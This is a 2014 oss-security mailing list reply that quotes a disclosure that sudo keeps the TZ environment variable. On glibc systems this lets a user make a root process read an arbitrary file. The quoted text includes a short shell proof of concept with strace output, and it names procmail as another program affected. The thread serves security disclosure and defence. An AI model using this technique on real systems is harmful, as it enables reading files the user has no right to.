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Date: Wed, 15 Oct 2014 19:52:50 -0400
From: Dan McDonald <danmcd@...iti.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Re: Abusing TZ for fun (and little profit)
Libraries that use TZ (or any environment variable) should be careful. For example...
http://src.illumos.org/source/xref/illumos-gate/usr/src/lib/libc/port/gen/localtime.c#1417
Thanks for the reality check. Glad we passed.
Dan
Sent from my iPhone (typos, autocorrect, and all)
> On Oct 15, 2014, at 6:35 PM, Jakub Wilk <jwilk@...lk.net> wrote:
>
> By default, sudo preserves the TZ variable[1] from user's environment. This is a bad idea on glibc systems, where TZ can be abused to trick the program to read an arbitrary file. PoC:
>
> $ echo moo > tz
> $ chmod 0 tz
> $ cat tz
> cat: tz: Permission denied
> $ TZ=$PWD/tz sudo -u root strace -e read date
> read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
> read(3, "moo\n", 4096) = 4
> read(3, "", 4096) = 0
> Wed Oct 15 20:42:42 2014
> +++ exited with 0 +++
>
>
> Procmail is another program that recklessly whitelists TZ[2].
>
>
> [1] https://sources.debian.net/src/sudo/1.8.5p2-1%2Bnmu1/plugins/sudoers/env.c/?hl=198#L189
> [2] https://sources.debian.net/src/procmail/3.22-20%2Bdeb7u1/config.h/?hl=22#L13
>
> --
> Jakub Wilk
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